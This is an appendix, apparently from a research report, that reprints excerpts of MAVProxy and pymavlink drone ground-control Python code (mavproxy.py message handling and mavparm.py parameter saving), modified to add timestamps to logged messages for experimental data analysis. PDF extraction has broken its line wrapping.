mpstate.status.target_component = m.get_srcComponent()
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " online
system %u component %u" % (mpstate.status.target_system, mpstate.
status.target_component),’message’) # ADDED timestamp
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if len(mpstate.mav_param_set) == 0 or len(mpstate.mav_param_set) !=
mpstate.mav_param_count:master.param_fetch_all()
if mpstate.status.heartbeat_error:
mpstate.status.heartbeat_error = False
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + "
heartbeat OK") # ADDED timestamp
if master.linkerror:
master.linkerror = False
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") +" link %u
OK" % (master.linknum+1)) # ADDED timestamp
mpstate.status.last_heartbeat = time.time()
master.last_heartbeat = mpstate.status.last_heartbeat
armed = mpstate.master().motors_armed()
if armed != mpstate.status.armed:
mpstate.status.armed = armed
if armed:
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + "
ARMED") # ADDED timestamp
else:
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + "
DISARMED") # ADDED timestamp
elif mtype == ’STATUSTEXT’:
if m.text != mpstate.status.last_apm_msg or time.time() > mpstate.status.
last_apm_msg_time+2:mpstate.console.writeln(datetime.datetime.now().
strftime("%Y-%m-%d %H:%M:%S:%f") + " APM: %s" % m.text, bg=’red’) #
ADDED timestamp
mpstate.status.last_apm_msg = m.text
mpstate.status.last_apm_msg_time = time.time()
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elif mtype == ’PARAM_VALUE’:
param_id = "%.16s" % m.param_id
if m.param_index != -1 and m.param_index not in mpstate.mav_param_set:
added_new_parameter = True
mpstate.mav_param_set.add(m.param_index)
else:
added_new_parameter = False
if m.param_count != -1:
mpstate.mav_param_count = m.param_count
mpstate.mav_param[str(param_id)] = m.param_value
if mpstate.status.fetch_one > 0:
mpstate.status.fetch_one -= 1
mpstate.console.writeln(datetime.datetime.now().strftime("%Y-%m-%d %H:%M
:%S:%f") + " %s = %f" % (param_id, m.param_value)) # ADDED timestamp
if added_new_parameter and len(mpstate.mav_param_set) == m.param_count:
mpstate.console.writeln(datetime.datetime.now().strftime("%Y-%m-%d %H:%M
:%S:%f") + " Received %u parameters" % m.param_count) # ADDED
timestamp
if mpstate.status.logdir != None:
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + "
Saving parameters") # ADDED timestamp
mpstate.mav_param.save(os.path.join(mpstate.status.logdir, ’mav.parm
’), ’*’, verbose=True)
elif mtype == ’SERVO_OUTPUT_RAW’:
if opts.quadcopter:
mpstate.status.rc_throttle[0] = scale_rc(m.servo1_raw, 0.0, 1.0, param=’
RC3’)
mpstate.status.rc_throttle[1] = scale_rc(m.servo2_raw, 0.0, 1.0, param=’
RC3’)
mpstate.status.rc_throttle[2] = scale_rc(m.servo3_raw, 0.0, 1.0, param=’
RC3’)
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mpstate.status.rc_throttle[3] = scale_rc(m.servo4_raw, 0.0, 1.0, param=’
RC3’)
else:
mpstate.status.rc_aileron = scale_rc(m.servo1_raw, -1.0, 1.0, param=’RC1
’) *
mpstate.settings
.rc1mul
mpstate.status.rc_elevator = scale_rc(m.servo2_raw, -1.0, 1.0, param=’
RC2’) *
mpstate.settings
.rc2mul
mpstate.status.rc_throttle = scale_rc(m.servo3_raw, 0.0, 1.0, param=’RC3
’)
mpstate.status.rc_rudder = scale_rc(m.servo4_raw, -1.0, 1.0, param=’RC4
’) *
mpstate.settings
.rc4mul
if mpstate.status.rc_throttle < 0.1:
mpstate.status.rc_throttle = 0
elif mtype in [’WAYPOINT_COUNT’,’MISSION_COUNT’]:
if mpstate.status.wp_op is None:
mpstate.console.error("No waypoint load started")
else:
mpstate.status.wploader.clear()
mpstate.status.wploader.expected_count = m.count
mpstate.console.writeln(datetime.datetime.now().strftime("%Y-%m-%d %H:%M
:%S:%f") + " Requesting %u waypoints t=%s now=%s" % (m.count, time.
asctime(time.localtime(m._timestamp)), time.asctime())) # ADDED
timestamp
master.waypoint_request_send(0)
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elif mtype in [’WAYPOINT’, ’MISSION_ITEM’] and mpstate.status.wp_op != None:
if m.seq > mpstate.status.wploader.count():
mpstate.console.writeln(datetime.datetime.now().strftime("%Y-%m-%d %H:%M
:%S:%f") + " Unexpected waypoint number %u - expected %u" % (m.seq,
mpstate.status.wploader.count())) # ADDED timestamp
elif m.seq < mpstate.status.wploader.count():
# a duplicate
pass
else:
mpstate.status.wploader.add(m)
if m.seq+1 < mpstate.status.wploader.expected_count:
master.waypoint_request_send(m.seq+1)
else:
if mpstate.status.wp_op == ’list’:
for i in range(mpstate.status.wploader.count()):
w = mpstate.status.wploader.wp(i)
print("%u %u %.10f %.10f %f p1=%.1f p2=%.1f p3=%.1f p4=%.1f cur=%
u auto=%u" % (w.command, w.frame, w.x, w.y, w.z, w.param1, w.
param2, w.param3, w.param4, w.current, w.autocontinue))
if mpstate.status.logdir != None:
waytxt = os.path.join(mpstate.status.logdir, ’way.txt’)
save_waypoints(waytxt)
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") +
" Saved waypoints to %s" % waytxt) # ADDED timestamp
elif mpstate.status.wp_op == "save":
save_waypoints(mpstate.status.wp_save_filename)
mpstate.status.wp_op = None
elif mtype in ["WAYPOINT_REQUEST", "MISSION_REQUEST"]:
process_waypoint_request(m, master)
elif mtype in ["WAYPOINT_CURRENT", "MISSION_CURRENT"]:
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if m.seq != mpstate.status.last_waypoint:
mpstate.status.last_waypoint = m.seq
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + "
waypoint %u" % m.seq,priority=’message’) # ADDED timestamp
elif mtype == "SYS_STATUS":
battery_update(m)
if master.flightmode != mpstate.status.flightmode and time.time() > mpstate
.status.last_mode_announce + 2:
mpstate.status.flightmode = master.flightmode
mpstate.status.last_mode_announce = time.time()
mpstate.rl.set_prompt(mpstate.status.flightmode + "> ")
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Mode "
+ mpstate.status.flightmode) # ADDED timestamp
elif mtype == "VFR_HUD":
have_gps_fix = False
if ’GPS_RAW’ in mpstate.status.msgs and mpstate.status.msgs[’GPS_RAW’].
fix_type == 2:
have_gps_fix = True
if ’GPS_RAW_INT’ in mpstate.status.msgs and mpstate.status.msgs[’
GPS_RAW_INT’].fix_type == 3:
have_gps_fix = True
if have_gps_fix and not mpstate.status.have_gps_lock:
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " GPS
lock at %u meters" % m.alt, priority=’notification’) # ADDED
timestamp
mpstate.status.have_gps_lock = True
elif mtype == "GPS_RAW":
if mpstate.status.have_gps_lock:
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if m.fix_type != 2 and not mpstate.status.lost_gps_lock and (time.time()
- mpstate.status.last_gps_lock) > 3:
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " GPS
fix lost") # ADDED timestamp
mpstate.status.lost_gps_lock = True
if m.fix_type == 2 and mpstate.status.lost_gps_lock:
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " GPS
OK") # ADDED timestamp
mpstate.status.lost_gps_lock = False
if m.fix_type == 2:
mpstate.status.last_gps_lock = time.time()
elif mtype == "GPS_RAW_INT":
if mpstate.status.have_gps_lock:
if m.fix_type != 3 and not mpstate.status.lost_gps_lock and (time.time()
- mpstate.status.last_gps_lock) > 3:
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " GPS
fix lost") # ADDED timestamp
mpstate.status.lost_gps_lock = True
if m.fix_type == 3 and mpstate.status.lost_gps_lock:
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " GPS
OK") # ADDED timestamp
mpstate.status.lost_gps_lock = False
if m.fix_type == 3:
mpstate.status.last_gps_lock = time.time()
elif mtype == "NAV_CONTROLLER_OUTPUT" and mpstate.status.flightmode == "AUTO"
and mpstate.settings.distreadout:
rounded_dist = int(m.wp_dist/mpstate.settings.distreadout)*mpstate.settings
.distreadout
if math.fabs(rounded_dist - mpstate.status.last_distance_announce) >=
mpstate.settings.distreadout:
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if rounded_dist != 0:
say("%u" % rounded_dist, priority="progress")
mpstate.status.last_distance_announce = rounded_dist
elif mtype == "FENCE_STATUS":
if not mpstate.status.fence_enabled:
mpstate.status.fence_enabled = True
say("fence enabled")
if mpstate.status.last_fence_breach != m.breach_time:
say("fence breach")
if mpstate.status.last_fence_status != m.breach_status:
if m.breach_status == mavutil.mavlink.FENCE_BREACH_NONE:
say("fence OK")
mpstate.status.last_fence_breach = m.breach_time
mpstate.status.last_fence_status = m.breach_status
elif mtype == "GLOBAL_POSITION_INT":
report_altitude(m.relative_alt*0.001)
elif mtype == "BAD_DATA":
if mpstate.settings.shownoise and mavutil.all_printable(m.data):
mpstate.console.write(str(m.data), bg=’red’)
elif mtype in [ "COMMAND_ACK", "MISSION_ACK" ]:
mpstate.console.writeln(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S
:%f") + " Got MAVLink msg: %s" % m) # ADDED timestamp
else:
#mpstate.console.writeln("Got MAVLink msg: %s" % m)
pass
if mpstate.status.watch is not None:
if fnmatch.fnmatch(m.get_type().upper(), mpstate.status.watch.upper()):
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print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f")) # ADDED
timestamp print to console
mpstate.console.writeln(m)
# keep the last message of each type around
mpstate.status.msgs[m.get_type()] = m
if not m.get_type() in mpstate.status.msg_count:
mpstate.status.msg_count[m.get_type()] = 0
mpstate.status.msg_count[m.get_type()] += 1
# don’t pass along bad data
if mtype != "BAD_DATA":
# pass messages along to listeners, except for REQUEST_DATA_STREAM, which
# would lead a conflict in stream rate setting between mavproxy and the
other
# GCS
if mpstate.settings.mavfwd_rate or mtype != ’REQUEST_DATA_STREAM’:
for r in mpstate.mav_outputs:
r.write(m.get_msgbuf())
# pass to modules
for mod in mpstate.modules:
if not hasattr(mod, ’mavlink_packet’):
continue
try:
mod.mavlink_packet(m)
except Exception, msg:
if mpstate.settings.moddebug == 1:
print(msg)
elif mpstate.settings.moddebug > 1:
import traceback
exc_type, exc_value, exc_traceback = sys.exc_info()
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traceback.print_exception(exc_type, exc_value, exc_traceback,
limit=2, file=sys.stdout)
/************************************SNIPPED**********************************/
def check_link_status():
’’’check status of master links’’’
tnow = time.time()
if mpstate.status.last_message != 0 and tnow > mpstate.status.last_message + 5:
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " no link")
# ADDED timestamp
mpstate.status.heartbeat_error = True
for master in mpstate.mav_master:
if not master.linkerror and tnow > master.last_message + 5:
say(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " link %u
down" % (master.linknum+1)) # ADDED timestamp
master.linkerror = True
/************************************SNIPPED**********************************/
/***The rest of this file is omitted; it is unchanged from the original file**/
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Appendix H: mavparm.py
’’’
module for loading/saving sets of mavlink parameters
Copyright Andrew Tridgell 2011
Released under the GNU GPL version 3 or later
original mavparm.py file found @
https://github.com/tridge/mavlink/blob/master/pymavlink/mavparm.py
This version of mavparm.py is modified to contain timestamps
for experimental data analysis
’’’
# Each addition & modification to the original mavparm.py script will have
# the comment ‘‘#ADDED’’
# NOTE: for reference throughout this script,
# timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f")
import fnmatch, math, time, datetime # ADDED datetime
class MAVParmDict(dict):
def __init__(self, *args):
dict.__init__(self, args)
# some parameters should not be loaded from files
self.exclude_load = [’SYSID_SW_MREV’, ’SYS_NUM_RESETS’, ’ARSPD_OFFSET’, ’
GND_ABS_PRESS’, ’GND_TEMP’, ’CMD_TOTAL’, ’CMD_INDEX’, ’LOG_LASTFILE’, ’
FENCE_TOTAL’, ’FORMAT_VERSION’ ]
self.mindelta = 0.000001
def mavset(self, mav, name, value, retries=3):
’’’set a parameter on a mavlink connection’’’
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got_ack = False
while retries > 0 and not got_ack:
retries -= 1
mav.param_set_send(name.upper(), float(value))
tstart = time.time()
while time.time() - tstart < 1:
ack = mav.recv_match(type=’PARAM_VALUE’, blocking=False)
if ack == None:
time.sleep(0.1)
continue
if str(name).upper() == str(ack.param_id).upper():
got_ack = True
self.__setitem__(name, float(value))
break
if not got_ack:
print("timeout setting %s to %f" % (name, float(value)))
return False
return True
def save(self, filename, wildcard=’*’, verbose=False):
’’’save parameters to a file’’’
f = open(filename, mode=’w’)
k = self.keys()
k.sort()
count = 0
for p in k:
if p and fnmatch.fnmatch(str(p).upper(), wildcard.upper()):
f.write("%-16.16s %f\n" % (p, self.__getitem__(p)))
count += 1
f.close()
if verbose:
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print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S:%f") + " Saved
%u parameters to %s" % (count, filename)) # ADDED timestamp
/***********************************SNIPPED**********************************/
/*The rest of this script is omitted; it is unchanged from the original file*/
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